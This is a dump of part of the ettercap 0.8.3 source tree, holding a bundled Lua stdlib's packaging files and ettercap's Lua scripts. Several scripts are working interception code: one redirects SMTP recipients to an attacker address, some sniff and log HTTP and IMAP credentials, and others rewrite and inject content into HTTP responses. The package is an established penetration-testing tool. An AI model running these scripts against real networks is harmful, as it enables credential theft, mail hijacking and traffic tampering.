ettercap-0.8.3/src/lua/share/third-party/stdlib/rockspecs.lua0000644000175000017500000000214113505247364024073 0ustar koeppeakoeppea-- Rockspec data -- Variables to be interpolated: -- -- package -- version local version_dashed = version:gsub ("%.", "-") local default = { package = package_name, version = version.."-2", source = { url = "git://github.com/rrthomas/lua-stdlib.git", }, description = { summary = "General Lua libraries", detailed = [[ stdlib is a library of modules for common programming tasks, including list, table and functional operations, regexps, objects, pickling, pretty-printing and getopt. ]], homepage = "http://github.com/rrthomas/lua-stdlib/", license = "MIT/X11", }, dependencies = { "lua >= 5.1", }, build = { type = "command", build_command = "LUA=$(LUA) LUA_INCLUDE=$(LUA_INCDIR) ./configure --prefix=$(PREFIX) --libdir=$(LIBDIR) --datadir=$(LUADIR) && make clean && make", install_command = "make install", copy_directories = {}, }, } if version ~= "git" then default.source.branch = "release-v"..version_dashed else default.build.build_command = "autoreconf -i && " .. default.build.build_command end return {default=default, [""]={}} ettercap-0.8.3/src/lua/share/third-party/stdlib/README0000644000175000017500000000234113505247364022256 0ustar koeppeakoeppea Standard Lua libraries ---------------------- by the stdlib project (http://github.com/rrthomas/lua-stdlib/) This is a collection of Lua libraries for Lua 5.1 and 5.2. The libraries are copyright by their authors 2000-2013 (see the AUTHORS file for details), and released under the MIT license (the same license as Lua itself). There is no warranty. The standard subset of stdlib has no prerequisites beyond a standard Lua system. The following modules have extra dependencies: fstable: Lua 5.2, lfs, luaposix Installation ------------ The simplest way to install stdlib is with LuaRocks (http://www.luarocks.org/ ): luarocks install stdlib Use --- As well as requiring individual libraries, you can load the standard set with require "std" Modules not in the standard set may be removed from future versions of stdlib. Documentation ------------- The libraries are documented in LuaDoc. Pre-built HTML files are included. Bug reports and code contributions ---------------------------------- These libraries are maintained and extended by their users. Please make bug report and suggestions on GitHub (see URL at top of file). Pull requests are especially appreciated. ettercap-0.8.3/src/lua/share/third-party/CMakeLists.txt0000644000175000017500000000003213505247364022650 0ustar koeppeakoeppea add_subdirectory(stdlib) ettercap-0.8.3/src/lua/share/scripts/0000755000175000017500000000000013505247364017335 5ustar koeppeakoeppeaettercap-0.8.3/src/lua/share/scripts/smtp_redir.lua0000644000175000017500000000253413505247364022214 0ustar koeppeakoeppea--- -- -- Created by Ryan Linn and Mike Ryan -- Copyright (C) 2012 Trustwave Holdings, Inc. description = "Snags SMTP credentials"; local hook_points = require("hook_points") local stdlib = require("std") hook_point = hook_points.tcp packetrule = function(packet_object) return(packet_object:is_tcp() and packet_object:has_data() and packet_object:dst_port() == 25) end local RCPT_PAT = "^(RCPT TO:)([^\r\n]*)" local evil_address = "" -- Here's your action. action = function(packet_object) -- Read the packet data data = packet_object:read_data() local start, e, cmd, recipient = data:find(RCPT_PAT) if start == nil then return nil end -- Calculate the different between the address we are replacing and our own. local padding_amount = recipient:len() - evil_address:len() if padding_amount < 0 then -- Address too small! Can't inject. return nil end -- Generate new recipient, pad the front with spaces " " local inj_addr = string.rep(" ", padding_amount) .. evil_address -- Swap original recipient for our bad-guy address: -- "RCPT TO: \r\n" local new_msg = data:gsub(RCPT_PAT, "%1" .. inj_addr) ettercap.log("Redirected email: %s -> %s\n", recipient, evil_address) -- Set it and forget it. packet_object:set_data(new_msg) end ettercap-0.8.3/src/lua/share/scripts/http_creds.lua0000644000175000017500000000240513505247364022200 0ustar koeppeakoeppea--- -- -- Created by Ryan Linn and Mike Ryan -- Copyright (C) 2012 Trustwave Holdings, Inc. description = "Script to show HTTP requsts"; local http = require("http") local packet = require("packet") hook_point = http.hook packetrule = function(packet_object) -- If this isn't a tcp packet, it's not really a HTTP request -- since we're hooked in the HTTP dissector, we can assume that this -- should never fail, but it's a good sanity check if packet.is_tcp(packet_object) == false then return false end return true end -- Here's your action. action = function(packet_object) local p = packet_object -- Parse the http data into an HTTP object local hobj = http.parse_http(p) -- If there's no http object, get out if hobj == nil then return end -- If it's a request, save the request to the registry -- We'll need this for the response if hobj.request then if hobj.creds then -- Log the request/response with the redirect ettercap.log("HTTP_CREDS: %s:%d -> %s:%d %s %s [User:Pass = %s]\n", packet.src_ip(p), packet.src_port(p), packet.dst_ip(p), packet.dst_port(p), hobj.verb ,hobj.url, hobj.creds) end end end ettercap-0.8.3/src/lua/share/scripts/http_requests.lua0000644000175000017500000000524013505247364022753 0ustar koeppeakoeppea--- -- -- Created by Ryan Linn and Mike Ryan -- Copyright (C) 2012 Trustwave Holdings, Inc. description = "Script to show HTTP requsts"; local http = require("http") local packet = require("packet") local bin = require("bit") hook_point = http.hook packetrule = function(packet_object) -- If this isn't a tcp packet, it's not really a HTTP request -- since we're hooked in the HTTP dissector, we can assume that this -- should never fail, but it's a good sanity check if packet.is_tcp(packet_object) == false then return false end return true end -- Here's your action. action = function(packet_object) local p = packet_object -- Parse the http data into an HTTP object local hobj = http.parse_http(p) -- If there's no http object, get out if hobj == nil then return end -- Get out session key for tracking req->reply pairs local session_id = http.session_id(p,hobj) -- If we can't track sessions, this won't work, get out if session_id == nil then return end -- We have a session, lets get our registry space local reg = ettercap.reg.create_namespace(session_id) -- If it's a request, save the request to the registry -- We'll need this for the response if hobj.request then reg.request = hobj -- we have a response object, let't put the log together elseif hobj.response then -- If we haven't seen the request, we don't have anything to share if not reg.request then return end -- Get the status code local code = hobj.status_code -- Build the request URL -- If we have a 2XX or 4XX or 5XX code, we won't need to log redirect -- so just log the request and code if code >= 200 and code < 300 or code >= 400 then ettercap.log("HTTP_REQ: %s:%d -> %s:%d %s %s %d (%s)\n", packet.dst_ip(p), packet.dst_port(p), packet.src_ip(p), packet.src_port(p), reg.request.verb ,reg.request.url , hobj.status_code, hobj.status_msg) -- These codes require redirect, so log the redirect as well elseif code >= 300 and code <= 303 then local redir = "" -- Get the redirect location if hobj.headers["Location"] then redir = hobj.headers["Location"] end -- Log the request/response with the redirect ettercap.log("HTTP_REQ: %s:%d -> %s:%d %s %s -> %s %d (%s)\n", packet.dst_ip(p), packet.dst_port(p), packet.src_ip(p), packet.src_port(p), reg.request.verb ,reg.request.url, redir, hobj.status_code, hobj.status_msg) end end end ettercap-0.8.3/src/lua/share/scripts/tcp_session_demo.lua0000644000175000017500000001603113505247364023376 0ustar koeppeakoeppea--- -- Copyright (C) Ryan Linn and Mike Ryan -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by -- the Free Software Foundation; either version 2 of the License, or -- (at your option) any later version. -- -- This program is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- GNU General Public License for more details. -- -- You should have received a copy of the GNU General Public License -- along with this program; if not, write to the Free Software -- Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. description = "This demonstrates TCP session tracking."; local ffi = require('ettercap_ffi') local eclib = require('eclib') local hook_points = require("hook_points") local shortsession = require("shortsession") local packet = require("packet") -- We have to hook at the filtering point so that we are certain that all the -- dissectors hae run. hook_point = hook_points.filter function split_http(str) local break_start, header_end= string.find(str, '\r?\n\r?\n') if header_end == nil then -- We only see the headers. So, that's all we got. header_end = string.len(str) end local header = string.sub(str, 0, header_end) local body = string.sub(str,header_end+1) return header, body end function shrink_http_body(body) local modified_body = string.gsub(body, '>%s*<','><') return modified_body end function pad_http_body(body, len) if len <= 0 then return body end local padded_sep = ">" .. string.rep(" ", len) .. "<" local modified_body = string.gsub(body, '><',padded_sep, 1) return modified_body end -- We only want to mess around with TCP streams that have data. packetrule = function(packet_object) if packet.is_tcp(packet_object) == false then return false end if packet_object.DATA.len == 0 then return false end return true end local session_key_func = shortsession.tcp_session("tcp_session_demo") local create_namespace = ettercap.reg.create_namespace local http_states = {} http_states.request_seen = 1 http_states.response_seen = 2 http_states.body_seen = 3 http_states.injected = 4 function handle_request(session_data, packet_object) local buf = packet.read_data(packet_object, 4) if buf == "GET " then session_data.http_state = http_states.request_seen end if session_data.http_state == http_states.request_seen then local request = packet.read_data(packet_object) local mod_request = string.gsub(request, '[Aa]ccept-[Ee]ncoding', "Xccept-Xncoding", 1) if not request == mod_request then packet.set_data(packet_object, mod_request) end end end function nocase (s) s = string.gsub(s, "%a", function (c) return string.format("[%s%s]", string.lower(c), string.upper(c)) end) return s end local inject_patterns = { nocase("( ])"), nocase("( ])"), nocase("( ])"), nocase("( ])"), nocase("(> ])") } local inject_string = '%1' local inject_str_len = string.len(inject_string) - 2 function inject_body(orig_body) if orig_body == nil then return nil end local orig_body_len = string.len(orig_body) -- Try to shrink the body down. local shrunk_body = shrink_http_body(orig_body) local shrunk_body_len = string.len(shrunk_body) local delta = orig_body_len - shrunk_body_len - inject_str_len if delta < 0 then -- no room to inject our stuff! return. return nil end for i,pattern in pairs(inject_patterns) do local offset = string.find(shrunk_body, pattern) local modified_body = string.gsub(shrunk_body, pattern, inject_string, 1) local modified_body_len = string.len(modified_body) if not (modified_body_len == shrunk_body_len) then -- Alright, let's pad things a little bit. local padded_body = pad_http_body(modified_body, delta) return padded_body end end return nil end function handle_response(session_data, packet_object) -- If we do'nt have a state, then we shouldn't be doing anything! if session_data.http_state == nil then return nil end -- If we have already injected, then don't do anything. if session_data.http_state == http_states.injected then return nil end if session_data.http_state == http_states.request_seen then local buf = packet.read_data(packet_object, 8) if not buf == "HTTP/1." then return nil end session_data.http_state = http_states.response_seen -- Since we're in the header, let's see if we can find the body. end local buf = packet.read_data(packet_object) local header = nil local body = nil if session_data.http_state == http_states.response_seen then -- Let's try to find the body. local split_header, split_body = split_http(buf) if not split_body then -- No dice, didn't find the body. return nil end -- Keep track of our header. if split_header then header = split_header end -- Stash our body. body = split_body session_data.http_state = http_states.body_seen end if session_data.http_state == http_states.body_seen then -- If we didn't already grab the body, then we aren't in the first packet -- for the response. That means that -- if not body then body = buf end local new_body = inject_body(body) if new_body == nil then return nil end session_data.http_state = http_states.injected if header == nil then header = "" end local new_data = header .. new_body -- Set the modified data packet.set_data(packet_object, new_data) end end -- Here's your action. action = function(packet_object) local session_id = session_key_func(packet_object) if not session_id then -- If we don't have session_id, then bail. return nil end local ident_ptr = ffi.new("void *") local ident_ptr_ptr = ffi.new("void *[1]", ident_ptr) local ident_len = ffi.C.tcp_create_ident(ident_ptr_ptr, packet_object); local session_ptr = ffi.new("struct ec_session *") local session_ptr_ptr = ffi.new("struct ec_session *[1]", session_ptr) local ret = ffi.C.session_get(session_ptr_ptr, ident_ptr_ptr[0], ident_len) if ret == -ffi.C.E_NOTFOUND then return nil end -- Find the direction of our current TCP packet. -- 0 == client -> server -- 1 == server -> client local dir = ffi.C.tcp_find_direction(session_ptr_ptr[0].ident, ident_ptr_ptr[0]) -- Now we are going to try to figure out if which direction things are -- going in. -- Get our session data... local session_data = create_namespace(session_id) if dir == 0 then handle_request(session_data, packet_object) else handle_response(session_data, packet_object) end -- ettercap.log("tcp_session_demo: %d %s:%d -> %s:%d - state: %s\n", dir, src_ip, src_port, -- dst_ip, dst_port, tostring(session_data.http_state)) end ettercap-0.8.3/src/lua/share/scripts/inject_http_demo.lua0000644000175000017500000002365113505247364023366 0ustar koeppeakoeppea--- -- Copyright (C) Ryan Linn and Mike Ryan -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by -- the Free Software Foundation; either version 2 of the License, or -- (at your option) any later version. -- -- This program is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- GNU General Public License for more details. -- -- You should have received a copy of the GNU General Public License -- along with this program; if not, write to the Free Software -- Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. description = "This demonstrates TCP session tracking."; local ffi = require('ettercap_ffi') local eclib = require('eclib') local hook_points = require("hook_points") local shortsession = require("shortsession") local packet = require("packet") require("os") -- We have to hook at the filtering point so that we are certain that all the -- dissectors hae run. hook_point = hook_points.filter function split_http(str) local break_start, header_end= string.find(str, '\r?\n\r?\n') if header_end == nil then -- We only see the headers. So, that's all we got. header_end = string.len(str) end local header = string.sub(str, 0, header_end) local body = string.sub(str,header_end+1) return header, body end function shrink_http_body(body) --local modified_body = string.gsub(body, '>%s*<','><') local body_len = string.len(body) if body_len == 155 then -- ettercap.log("Here's the body: %s\n", body) end -- ettercap.log("Trying to shrink body size %d\n", body_len) local modified_body = string.gsub(body, '%s+',' ') return modified_body end function pad_http_body(body, len) if len <= 0 then return body end local padded_sep = ">" .. string.rep(" ", len) .. "<" local modified_body = string.gsub(body, '><',padded_sep, 1) return modified_body end -- We only want to mess around with TCP streams that have data. packetrule = function(packet_object) if packet.is_tcp(packet_object) == false then return false end if packet_object.DATA.len == 0 then return false end return true end local tcp_session_key_func = shortsession.tcp_session("tcp_session_demo") local ip_session_key_func = shortsession.ip_session("tcp_session_demo") local create_namespace = ettercap.reg.create_namespace local http_states = {} http_states.request_seen = 1 http_states.response_seen = 2 http_states.response_is_html = 3 http_states.body_seen = 4 http_states.injected = 5 function handle_request(session_data, packet_object) local tcp_session_data = session_data.tcp_session_data local buf = packet.read_data(packet_object, 4) if buf == "GET " then tcp_session_data.http_state = http_states.request_seen end if tcp_session_data.http_state == http_states.request_seen then local request = packet.read_data(packet_object) -- local mod_request = string.gsub(request, '[Aa]ccept.[Ee]ncoding', "Xccept-Xncoding") local mod_request = string.gsub(request, 'Accept.Encoding', "Xccept-Xncoding") if not (request == mod_request) then packet.set_data(packet_object, mod_request) -- ettercap.log("Tweaked accept-encoding\n") else -- ettercap.log("request: %s\n", request) -- ettercap.log("Couldn't find accept-encoding\n") end end end function nocase (s) s = string.gsub(s, "%a", function (c) return string.format("[%s%s]", string.lower(c), string.upper(c)) end) return s end local inject_patterns = { nocase("( ])"), nocase("( ])"), nocase("( ])"), nocase("( ])"), nocase("(> ])") } local inject_urls = { '', '', '' } function inject_body(session_data,orig_body) local tcp_session_data = session_data.tcp_session_data local ip_session_data = session_data.ip_session_data if orig_body == nil then return nil end local orig_body_len = string.len(orig_body) -- ettercap.log("Orig body len %d\n", orig_body_len) -- Try to shrink the body down. local shrunk_body = shrink_http_body(orig_body) local shrunk_body_len = string.len(shrunk_body) -- ettercap.log("Shrunk body len %d\n", shrunk_body_len) -- Add rotating string here if not ip_session_data.count then ip_session_data.count = 0 ip_session_data.time = 0 end if os.time() - ip_session_data.time > 5 then ettercap.log("Adding one\n") ip_session_data.count = ip_session_data.count + 1 if ip_session_data.count > 3 or ip_session_data.count == 0 then ettercap.log("Resetting count\n") ip_session_data.count = 1 end ip_session_data.time = os.time() end local inject_string = inject_urls[ip_session_data.count] local inject_str_len = string.len(inject_string) - 2 local delta = orig_body_len - shrunk_body_len - inject_str_len -- ettercap.log("Delta %d = %d - %d - %d\n", delta , orig_body_len , shrunk_body_len , inject_str_len) if delta < 0 then -- no room to inject our stuff! return. return nil end for i,pattern in pairs(inject_patterns) do local modified_body = string.gsub(shrunk_body, pattern, inject_string, 1) local modified_body_len = string.len(modified_body) if not (modified_body_len == shrunk_body_len) then -- Alright, let's pad things a little bit. local padded_body = pad_http_body(modified_body, delta) return padded_body end end return nil end function handle_response(session_data, packet_object) local tcp_session_data = session_data.tcp_session_data -- ettercap.log("handle_response...\n") -- If we do'nt have a state, then we shouldn't be doing anything! if tcp_session_data.http_state == nil then -- ettercap.log("No http state...\n") return nil end -- If we have already injected, then don't do anything. if tcp_session_data.http_state == http_states.injected then -- ettercap.log("already injected!\n") return nil end if tcp_session_data.http_state == http_states.request_seen then local buf = packet.read_data(packet_object, 8) if not buf == "HTTP/1." then -- ettercap.log("not an HTTP response\n") return nil end tcp_session_data.http_state = http_states.response_seen -- Since we're in the header, let's see if we can find the body. end local buf = packet.read_data(packet_object) local header = nil local body = nil if tcp_session_data.http_state <= http_states.response_is_html then -- Let's try to find the body. local split_header, split_body = split_http(buf) -- Keep track of our header. if split_header then header = split_header if string.find(split_header, "text/html") then tcp_session_data.http_state = http_states.response_is_html end end if not split_body then -- No dice, didn't find the body. return nil end if not tcp_session_data.http_state == http_states.response_is_html then -- This isn't an HTML response . -- ettercap.log("This isn't an HTML response!\n") tcp_session_data.http_state = nil return nil end tcp_session_data.http_state = http_states.body_seen -- Stash our body. body = split_body end tcp_session_data.http_state = http_states.body_seen if tcp_session_data.http_state == http_states.body_seen then -- If we didn't already grab the body, then we aren't in the first packet -- for the response. That means that -- if not body then body = buf end local new_body = inject_body(session_data,body) if new_body == nil then -- ettercap.log("Could not inject.\n") return nil end tcp_session_data.http_state = http_states.injected if header == nil then header = "" end local new_data = header .. new_body -- Set the modified data packet.set_data(packet_object, new_data) end end -- Here's your action. action = function(packet_object) local tcp_session_id = tcp_session_key_func(packet_object) if not tcp_session_id then -- If we don't have tcp_session_id, then bail. return nil end local ip_session_id = ip_session_key_func(packet_object) if not ip_session_id then -- If we don't have ip_session_id, then bail. return nil end local ident_ptr = ffi.new("void *") local ident_ptr_ptr = ffi.new("void *[1]", ident_ptr) local ident_len = ffi.C.tcp_create_ident(ident_ptr_ptr, packet_object); local session_ptr = ffi.new("struct ec_session *") local session_ptr_ptr = ffi.new("struct ec_session *[1]", session_ptr) local ret = ffi.C.session_get(session_ptr_ptr, ident_ptr_ptr[0], ident_len) if ret == -ffi.C.E_NOTFOUND then return nil end -- Find the direction of our current TCP packet. -- 0 == client -> server -- 1 == server -> client local dir = ffi.C.tcp_find_direction(session_ptr_ptr[0].ident, ident_ptr_ptr[0]) -- Now we are going to try to figure out if which direction things are -- going in. -- Get our session data... local tcp_session_data = create_namespace(tcp_session_id) local ip_session_data = create_namespace(ip_session_id) local session_data = {} session_data.tcp_session_data = tcp_session_data session_data.ip_session_data = ip_session_data if dir == 0 then handle_request(session_data, packet_object) else handle_response(session_data, packet_object) end local src_ip = packet.src_ip(packet_object) local dst_ip = packet.dst_ip(packet_object) local src_port = ffi.C.ntohs(packet_object.L4.src) local dst_port = ffi.C.ntohs(packet_object.L4.dst) -- ettercap.log("tcp_session_demo: %d %s:%d -> %s:%d - state: %s\n", dir, src_ip, src_port, -- dst_ip, dst_port, tostring(tcp_session_data.http_state)) end ettercap-0.8.3/src/lua/share/scripts/CMakeLists.txt0000644000175000017500000000050513505247364022075 0ustar koeppeakoeppeainstall(FILES inject_http.lua inject_http_demo.lua get_imap_demo.lua tcp_session_demo.lua http_creds.lua http_requests.lua inject_http.lua smtp_redir.lua geoip_demo.lua DESTINATION ${INSTALL_LUA_SCRIPTS}) ettercap-0.8.3/src/lua/share/scripts/geoip_demo.lua0000644000175000017500000000236013505247364022150 0ustar koeppeakoeppea--- description = [[ This demonstrates the use of GeoIP information in Ettercap. For this script to work, Ettercap MUST have been compiled with '-DHAVE_GEOIP', which is set by the cmake user option ENABLE_GEOIP (ON by default). ]] local ffi = require ('ettercap_ffi') local packet = require ("packet") local hook_points = require ("hook_points") -- Hook at the filtering point -- hook_point = hook_points.filter is_ip = function(p) return (p.L3 and (p.L3.proto == 0x8 or p.L3.proto == 0xDD86)) end -- Optional, but we only want to look at IP-packets. -- packetrule = function (p) if not is_ip(p) then -- ettercap.log ("Ignoring non IP-packet: %d.\n", p.L3.proto) return false end return true end -- Here's your action. -- action = function (p) tstamp = os.date ("%X", p.ts.tv_sec) .. string.format (".%06d", p.ts.tv_usec) src = string.format ("%s:%d", packet.src_ip(p), packet.src_port(p)) dst = string.format ("%s:%d", packet.dst_ip(p), packet.dst_port(p)) src_c = ffi.string (ffi.C.geoip_ccode_by_ip(p.L3.src)) dst_c = ffi.string (ffi.C.geoip_ccode_by_ip(p.L3.dst)) ettercap.log("%s: %-20s -> %-20s: %s -> %s", tstamp, src, dst, src_c, dst_c) end ettercap-0.8.3/src/lua/share/scripts/get_imap_demo.lua0000644000175000017500000000320713505247364022633 0ustar koeppeakoeppea--- -- Copyright (C) Ryan Linn and Mike Ryan -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by -- the Free Software Foundation; either version 2 of the License, or -- (at your option) any later version. -- -- This program is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- GNU General Public License for more details. -- -- You should have received a copy of the GNU General Public License -- along with this program; if not, write to the Free Software -- Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. description = "This is a test script to gather imap data"; require 'os' local ffi = require('ettercap_ffi') local hook_points = require("hook_points") local shortpacket = require("shortpacket") local shortsession = require("shortsession") local packet = require("packet") hook_point = hook_points.filter packetrule = function(packet_object) if packet.is_tcp(packet_object) == false then return false end local dst_port = ffi.C.ntohs(packet_object.L4.dst) if not( dst_port == 1143) then return false end -- Check to see if it starts with the right stuff. return true end -- Here's your action. action = function(packet_object) local buf = packet.read_data(packet_object) if string.match(buf,"login") then user,password = string.match(buf,"login \"(%S+)\" \"(%S+)\"") ettercap.log("Got IMAP User %s:%s\n",user,password) end end ettercap-0.8.3/src/lua/share/scripts/inject_http.lua0000644000175000017500000000632213505247364022356 0ustar koeppeakoeppea--- -- Copyright (C) Ryan Linn and Mike Ryan -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by -- the Free Software Foundation; either version 2 of the License, or -- (at your option) any later version. -- -- This program is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- GNU General Public License for more details. -- -- You should have received a copy of the GNU General Public License -- along with this program; if not, write to the Free Software -- Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. description = "This is a test script that will inject HTTP stuff"; local eclib = require('eclib') local hook_points = require("hook_points") local shortpacket = require("shortpacket") local shortsession = require("shortsession") local packet = require("packet") -- We have to hook at the filtering point so that we are certain that all the -- dissectors hae run. hook_point = hook_points.filter function split_http(str) local start,finish,header,body = string.find(str, '(.-\r?\n\r?\n)(.*)') return start,finish,header, body end function shrink_http_body(body) local modified_body = string.gsub(body, '>%s*<','><') return modified_body end -- Cache our starts-with function... local sw = shortpacket.data_starts_with("HTTP/1.") -- We only want to match packets that look like HTTP responses. packetrule = function(packet_object) if packet.is_tcp(packet_object) == false then return false end -- Check to see if it starts with the right stuff. return sw(packet_object) end local session_key_func = shortsession.ip_session("inject_http") -- Here's your action. action = function(po) local session_id = session_key_func(po) if not session_id then -- If we don't have session_id, then bail. return nil end --local src_ip = "" --local dst_ip = "" local src_ip = packet.src_ip(po) local dst_ip = packet.dst_ip(po) ettercap.log("inject_http: " .. src_ip .. " -> " .. dst_ip .. "\n") -- Get the full buffer.... reg = ettercap.reg.create_namespace(session_id) local buf = packet.read_data(po) -- Split the header/body up so we can manipulate things. local start,finish,header, body = split_http(buf) -- local start,finish,header,body = string.find(buf, '(.-\r?\n\r?\n)(.*)') if not reg['a'] then ettercap.log("Initial hit\n") reg['a'] = 1 else ettercap.log(tostring(reg['a']) .. " hit\n") reg['a'] = reg['a'] + 1 end if (not (start == nil)) then -- We've got a proper split. local orig_body_len = string.len(body) local modified_body = string.gsub(body, '','') -- We've tweaked things, so let's update the data. if (not(modified_body == body)) then ettercap.log("inject_http action : We modified the HTTP response!\n") local modified_data = header .. modified_body -- This takes care of setting the packet data, as well as flagging it -- as modified. packet.set_data(po, modified_data) end end end ettercap-0.8.3/src/lua/share/scripts/http_inject2_demo.lua0000644000175000017500000001603213505247364023443 0ustar koeppeakoeppea--- -- Copyright (C) Ryan Linn and Mike Ryan -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by -- the Free Software Foundation; either version 2 of the License, or -- (at your option) any later version. -- -- This program is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- GNU General Public License for more details. -- -- You should have received a copy of the GNU General Public License -- along with this program; if not, write to the Free Software -- Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. description = "This demonstrates TCP session tracking."; local ffi = require('ettercap_ffi') local eclib = require('eclib') local hook_points = require("hook_points") local shortsession = require("shortsession") local packet = require("packet") -- We have to hook at the filtering point so that we are certain that all the -- dissectors hae run. hook_point = hook_points.filter function split_http(str) local break_start, header_end= string.find(str, '\r?\n\r?\n') if header_end == nil then -- We only see the headers. So, that's all we got. header_end = string.len(str) end local header = string.sub(str, 0, header_end) local body = string.sub(str,header_end+1) return header, body end function shrink_http_body(body) local modified_body = string.gsub(body, '>%s*<','><') return modified_body end function pad_http_body(body, len) if len <= 0 then return body end local padded_sep = ">" .. string.rep(" ", len) .. "<" local modified_body = string.gsub(body, '><',padded_sep, 1) return modified_body end -- We only want to mess around with TCP streams that have data. packetrule = function(packet_object) if packet.is_tcp(packet_object) == false then return false end if packet_object.DATA.len == 0 then return false end return true end local session_key_func = shortsession.tcp_session("tcp_session_demo") local create_namespace = ettercap.reg.create_namespace local http_states = {} http_states.request_seen = 1 http_states.response_seen = 2 http_states.body_seen = 3 http_states.injected = 4 function handle_request(session_data, packet_object) local buf = packet.read_data(packet_object, 4) if buf == "GET " then session_data.http_state = http_states.request_seen end if session_data.http_state == http_states.request_seen then local request = packet.read_data(packet_object) local mod_request = string.gsub(request, '[Aa]ccept-[Ee]ncoding', "Xccept-Xncoding", 1) if not request == mod_request then packet.set_data(packet_object, mod_request) end end end function nocase (s) s = string.gsub(s, "%a", function (c) return string.format("[%s%s]", string.lower(c), string.upper(c)) end) return s end local inject_patterns = { nocase("( ])"), nocase("( ])"), nocase("( ])"), nocase("( ])"), nocase("(> ])") } local inject_string = '%1' local inject_str_len = string.len(inject_string) - 2 function inject_body(orig_body) if orig_body == nil then return nil end local orig_body_len = string.len(orig_body) -- Try to shrink the body down. local shrunk_body = shrink_http_body(orig_body) local shrunk_body_len = string.len(shrunk_body) local delta = orig_body_len - shrunk_body_len - inject_str_len if delta < 0 then -- no room to inject our stuff! return. return nil end for i,pattern in pairs(inject_patterns) do local offset = string.find(shrunk_body, pattern) local modified_body = string.gsub(shrunk_body, pattern, inject_string, 1) local modified_body_len = string.len(modified_body) if not (modified_body_len == shrunk_body_len) then -- Alright, let's pad things a little bit. local padded_body = pad_http_body(modified_body, delta) return padded_body end end return nil end function handle_response(session_data, packet_object) -- If we do'nt have a state, then we shouldn't be doing anything! if session_data.http_state == nil then return nil end -- If we have already injected, then don't do anything. if session_data.http_state == http_states.injected then return nil end if session_data.http_state == http_states.request_seen then local buf = packet.read_data(packet_object, 8) if not buf == "HTTP/1." then return nil end session_data.http_state = http_states.response_seen -- Since we're in the header, let's see if we can find the body. end local buf = packet.read_data(packet_object) local header = nil local body = nil if session_data.http_state == http_states.response_seen then -- Let's try to find the body. local split_header, split_body = split_http(buf) if not split_body then -- No dice, didn't find the body. return nil end -- Keep track of our header. if split_header then header = split_header end -- Stash our body. body = split_body session_data.http_state = http_states.body_seen end if session_data.http_state == http_states.body_seen then -- If we didn't already grab the body, then we aren't in the first packet -- for the response. That means that -- if not body then body = buf end local new_body = inject_body(body) if new_body == nil then return nil end session_data.http_state = http_states.injected if header == nil then header = "" end local new_data = header .. new_body -- Set the modified data packet.set_data(packet_object, new_data) end end -- Here's your action. action = function(packet_object) local session_id = session_key_func(packet_object) if not session_id then -- If we don't have session_id, then bail. return nil end local ident_ptr = ffi.new("void *") local ident_ptr_ptr = ffi.new("void *[1]", ident_ptr) local ident_len = ffi.C.tcp_create_ident(ident_ptr_ptr, packet_object); local session_ptr = ffi.new("struct ec_session *") local session_ptr_ptr = ffi.new("struct ec_session *[1]", session_ptr) local ret = ffi.C.session_get(session_ptr_ptr, ident_ptr_ptr[0], ident_len) if ret == -ffi.C.E_NOTFOUND then return nil end -- Find the direction of our current TCP packet. -- 0 == client -> server -- 1 == server -> client local dir = ffi.C.tcp_find_direction(session_ptr_ptr[0].ident, ident_ptr_ptr[0]) -- Now we are going to try to figure out if which direction things are -- going in. -- Get our session data... local session_data = create_namespace(session_id) if dir == 0 then handle_request(session_data, packet_object) else handle_response(session_data, packet_object) end -- ettercap.log("tcp_session_demo: %d %s:%d -> %s:%d - state: %s\n", dir, src_ip, src_port, -- dst_ip, dst_port, tostring(session_data.http_state)) end ettercap-0.8.3/src/CMakeLists.txt0000644000175000017500000001244713505247364016533 0ustar koeppeakoeppeaset(EC_SRC ec_asn1.c ec_mem.c ec_capture.c ec_checksum.c ec_conf.c ec_connbuf.c ec_conntrack.c ec_debug.c ec_decode.c ec_dispatcher.c ec_dissect.c ec_encryption_ccmp.c ec_encryption_tkip.c ec_encryption.c ec_error.c ec_exit.c ec_file.c ec_filter.c ec_fingerprint.c ec_format.c ec_globals.c ec_hash.c ec_hook.c ec_inet.c ec_inject.c ec_libettercap.c ec_log.c ec_manuf.c ec_mitm.c ec_network.c ec_packet.c ec_passive.c ec_plugins.c ec_poll.c ec_profiles.c ec_redirect.c ec_resolv.c ec_scan.c ec_send.c ec_services.c ec_session.c ec_set.c ec_signals.c ec_sleep.c ec_sniff_bridge.c ec_sniff.c ec_sniff_unified.c ec_socket.c ec_sslwrap.c ec_stats.c ec_streambuf.c ec_strings.c ec_threads.c ec_ui.c ec_utils.c dissectors/ec_bgp.c dissectors/ec_cvs.c dissectors/ec_dhcp.c dissectors/ec_ftp.c dissectors/ec_gg.c dissectors/ec_http.c dissectors/ec_icq.c dissectors/ec_imap.c dissectors/ec_irc.c dissectors/ec_iscsi.c dissectors/ec_kerberos.c dissectors/ec_ldap.c dissectors/ec_mdns.c dissectors/ec_mongodb.c dissectors/ec_mountd.c dissectors/ec_msn.c dissectors/ec_mysql.c dissectors/ec_nbns.c dissectors/ec_nntp.c dissectors/ec_o5logon.c dissectors/ec_ospf.c dissectors/ec_pop.c 